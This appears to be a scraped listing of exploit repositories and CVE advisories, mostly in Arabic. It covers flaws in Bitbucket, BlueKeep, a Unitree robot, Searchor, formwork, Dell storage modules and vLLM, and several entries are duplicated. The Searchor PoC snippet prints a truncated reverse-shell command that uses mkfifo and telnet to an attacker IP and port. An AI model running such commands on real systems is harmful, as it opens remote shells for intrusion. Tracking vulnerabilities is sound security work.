cve-2022-36804

CVE-2022-36804 Bitbucket PoC يحتوي هذا المستودع على سكربت استغلال مكتوب بلغة بايثون لثغرة Atlassian Bitbucket Server/Data Center المعروفة بـ CVE-2022-36804. المشكلة هي خلل في حقن الأوامر في تدفق Git archive، حيث يمكن لمعاملات prefix المصممة بعناية أن يفسرها الخادم وينفذها كأوامر شل. ما هي...

UniBLEed

UniBLEed Unitree G1 RCE PoC & Scripts CVE-2026-76639 / CVE-2026-76640 technical details at boschko.ca/g1-ble-rce/ Use this repository only with robots, accounts, and networks you are authorized to test. The active chains can change the robot's WiFi configuration, stop or restart services, crash...

Explotacion-RCE-Pentesting-BlueKeep-CVE-2019-0708-

استغلال ثغرة BlueKeep CVE-2019-0708 في بيئة خاضعة للتحكم مشروع أكاديمي يركّز على تحليل وتنفيذ وحل المشكلات أثناء استغلال ثغرة BlueKeep CVE-2019-0708 في خدمة RDP لنظام Windows Server 2008 R2، طُوّر لمادة الأمن السيبراني في المعهد المهني لوس ليونيس. الهدف إظهار التدفق الكامل لاختبار الاختراق في بيئ...

mgo3-rce

MGO3 RCE يحتوي هذا المستودع على معلومات حول CVE-2026-19874. التوثيق فيديو توضيحي الجدول الزمني 2026-06-26: تم اكتشاف الثغرة الأمنية 2026-06-26: أول تواصل مع كونامي 2026-07-01: تم الإبلاغ عن الثغرة إلى كونامي 2026-08-04: تم تصحيح الثغرة بصمت من قبل كونامي https://steamdb.info/patchnotes/24176213/...

CVE-2026-105950 getformwork URI Sanitizer DomSanitizer.php sanitizeNodeAttribute cross site scripting

A security vulnerability has been detected in getformwork formwork up to 2.3.12. Impacted is the function DomSanitizer::sanitizeNodeAttribute of the file formwork/src/Sanitizer/DomSanitizer.php of the component URI Sanitizer. Such manipulation of the argument formaction leads to cross site...

CVE-2026-105950

The getformwork formwork component, in versions up to 2.3.12 , is vulnerable to cross-site scripting (XSS) due to an issue in the URI Sanitizer component. Specifically, the DomSanitizer::sanitizeNodeAttribute function located in formwork/src/Sanitizer/DomSanitizer.php fails to properly handle the...

CVE-2026-105950 getformwork URI Sanitizer DomSanitizer.php sanitizeNodeAttribute cross site scripting

A security vulnerability has been detected in getformwork formwork up to 2.3.12. Impacted is the function DomSanitizer::sanitizeNodeAttribute of the file formwork/src/Sanitizer/DomSanitizer.php of the component URI Sanitizer. Such manipulation of the argument formaction leads to cross site...

EUVD-2026-93467

A security vulnerability has been detected in getformwork formwork up to 2.3.12. Impacted is the function DomSanitizer::sanitizeNodeAttribute of the file formwork/src/Sanitizer/DomSanitizer.php of the component URI Sanitizer. Such manipulation of the argument formaction leads to cross site...

CVE-2026-105950 getformwork URI Sanitizer DomSanitizer.php sanitizeNodeAttribute cross site scripting

A security vulnerability has been detected in getformwork formwork up to 2.3.12. Impacted is the function DomSanitizer::sanitizeNodeAttribute of the file formwork/src/Sanitizer/DomSanitizer.php of the component URI Sanitizer. Such manipulation of the argument formaction leads to cross site...

cve-2022-41352-zimbra-rce

لا يحتوي هذا المستودع على ملف README...

CVE-2020-9496

CVE-2020-9496 - RCE نظرًا لأن الطلبين المرتبطين بـ xmlrpc في webtools xmlrpc و ping لا يستخدمان المصادقة، فهما عرضة لإلغاء التسلسل غير الآمن. تم الإبلاغ عن هذه المشكلة إلى فريق الأمان بواسطة Alvaro Munoz [email protected] من فريق GitHub Security Lab. توجد هذه الثغرة بسبب مشاكل تسلسل Java عند...

CVE-2026-4253-Scanner

CVE-2026-42530 — Safe-Check Scanner ماسح جماعي غير تدميري لثغرة use-after-free في NGINX HTTP/3 QUIC اعرف أيًّا من مضيفاتك مكشوف للثغرة — دون تشغيلها إطلاقًا. ⚠️ إخلاء مسؤولية هذه الأداة مخصّصة لاختبارات الأمان المصرَّح بها فقط — أي بنيتك التحتية الخاصة، أو أنظمة لديك إذن كتابي صريح لاختبارها. وهي...

Security Bulletin: Maximo AI Service uses multiple third party dependencies which are vulnerable to multiple CVEs.

Summary Maximo AI Service uses mlflow-3.11.1-py3-none-any.whl, nltk-3.10.0-py3-none-any.whl, gitpython-3.1.53-py3-none-any.whl, and glib2 2.68.4-19.el98.1 which are vulnerable to CVE-2026-64849, CVE-2026-69148, CVE-2026-79657, CVE-2026-79674, CVE-2026-79675, CVE-2026-79676, CVE-2026-78675,...

CVE-2026-63689

Dell Container Storage Modules, versions prior to 1.18.0, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure...

CVE-2026-63689

Dell Container Storage Modules, versions prior to 1.18.0, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure...

EUVD-2026-93462

Dell Container Storage Modules, versions prior to 1.18.0, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure...

CVEs

CVE-2022-2992: تنفيذ الأوامر عن بُعد عبر استيراد Github معلومات الوصف: يسمح هذا للمستخدم المُصادَق عليه بتحقيق تنفيذ التعليمات البرمجية عن بُعد عبر نقطة نهاية Import from GitHub API. الإصدارات المتأثرة: جميع الإصدارات من 11.10 إلى ما قبل 15.1.6، و15.2 إلى 15.2.4، و15.3 إلى 15.3.2 الإصدار المُصحَّ...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – استغلال RCE في Searchor PoC تنفيذ التعليمات البرمجية عن بُعد RCE عبر استخدام غير آمن لـ eval في Searchor --test تنفيذ أمر مخصص شغّل أي أمر على الخادم المستهدف: python3 CVE-2023-43364.py -a "whoami" أمثلة: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT...

CVE-2026-63692

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges...

CVE-2026-105922

A security flaw has been discovered in vllm-project vLLM up to 0.31.0. This impacts the function gettokenbincountsandmask of the file vllm/modelexecutor/layers/utils.py of the component Penalty Handler. Performing a manipulation results in denial of service. Remote exploitation of the attack is...